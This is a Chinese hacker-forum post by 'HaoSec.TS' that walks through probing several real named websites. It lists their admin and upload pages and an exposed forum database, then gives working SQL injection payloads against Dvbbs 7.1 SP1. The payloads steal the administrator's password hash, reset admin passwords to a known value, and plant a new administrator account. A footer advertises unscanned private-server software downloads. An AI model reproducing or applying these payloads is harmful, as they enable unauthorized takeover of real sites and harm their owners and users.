安全检测天津滨海人才网
HaoSec.TS

大家好，我是HaoSec.TS，这个是我进行安全检测的思路，希望可以对大家有所帮助，当大家看到动画的时候，漏洞应该已经修补上了。
我的个人站
好安全网：www.haosec.com
安全论坛：www.haosec.com/bbs
群1（满）
群2（满）
群3（满）
群4：25569094
论坛也是给大家交流的地方，我会在上面解答所有朋友们提出的问题，经常会有大家上SKYPE
语音进行问题的讨论，也希望有更多喜爱网络安全的朋友加入到我们这里来！！！

===========================================================================
检测开始
==============================================================================
站点：http://www.bhrc.com.cn

http://www.tjlyce.comqx 千寻网站管理系统！

http://www.tjlyce.com/eshop/admin/admin_login.asp 56770.com网店
http://www.tjlyce.com/ershou/upfile.asp 无法上传
http://www.winfore.net/editor/Admin_Default.asp 无法修改
http://www.shangyong.net/bbs/DataDvbbs7.mdb Dvbbs7.1

Powered By Dvbbs Version 7.1.0 Sp1

(1):手工入侵:我们可以以注册用户找个版面发帖子,在贴子内容下有个选择帖子类型.选择论坛交易币设置",在金币数量,购买数量聘用制,VIP用户浏览选项里我们都不作任何变动,在可购买用户名单限制输入栏中,我们提交以下的SQL语句:

(假如我们注册的用户为"haosec.ts")

A:coolidea|||123',0);update（更新）/**/（代替空格）Dv_User/**/set/**/UserEmail=(select[password]from/**/Dv_admin/**/where[Username]='admin')/**/where[UserName]='haosec.ts';--

把管理员的MD5加密密码更新到用户haosec.ts的邮箱去

B:coolidea|||123',0);update/**/Dv_User/**/set/**/Userpassword='160b8f6e39dde298'/**/where[UserName]='admin';--

将管理员的前台密码改为82821188

C:coolidea|||123',0);update/**/Dv_Admin/**/set/**/password='160b8f6e39dde298'/**/where[UserName]='shellpo';--

将管理员的后台密码改为82821188(160b8f6e39dde298)解密后就是82821188

(以上论坛的管理员默认为"admin")

以上是通过修改管理员的前后的密码来登录同样我们还可以通过提交构造以下SQL语句来把注册的用户直接提升这前后台管理员,

D: $PayMoney|||',3);update [Dv_user] set usergroupid=1 where username='admin';--

把用户admin提升为前台管理员

E:coolidea|||123',0);Insert/**/into/**/Dv_admin(Password,Username,Adduser,Flag)/**/values('160b8f6e39dde298','admin','admin','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36');--

在后台添加一个用户名为"admin"的管理员,

http://www.shangyong.net/bbs/UploadFile/2007-10/200710268134322845.txt

HaoSec.ts
WWW.HAOSEC.COM/BBS

• [VIP专用软件 - 电信高速下载][非高级会员不可下载]
• [VIP专用软件 - 双线高速下载][非高级会员不可下载]

• ☉ Delphi编程教学系列（新世纪网安基地VIP教程）
• ☉ virtualpc中的linux如何连上Internet
• ☉ ProE 2.0安装视频
• ☉ 学会利用系统自身资源
• ☉ JSP开发之一Servlet基础
• ☉ 内网架设DNS服务器详解
• ☉ 心动吧桌面图之serv-U反弹
• ☉ 小解TTL的妙用
• ☉ 免费的网络电脑
• ☉ 略施小计吓跑不怀好意的菜鸟

• ☉ 由于私服程序的特殊性，它非常容易被杀毒误报，所以自2011年1月起本站所有软件都不在做杀毒查杀，请下载后自行检测查杀！
• ☉ 为了达到最快的下载速度，推荐使用 迅雷5 下载本站软件。
• ☉ 本站软件均为WinRAR3.7版本压缩，所以请一定升级到WinRAR3.7或最新版才能正常解压本站提供的软件!
• ☉ 如果您发现下载链接错误，或内容与分类不匹配，请点击报告错误。正确报错10个我们将送您VIP会员！
• ☉ 如发现本站软件需要解压密码，均为：www.9876543210sf.com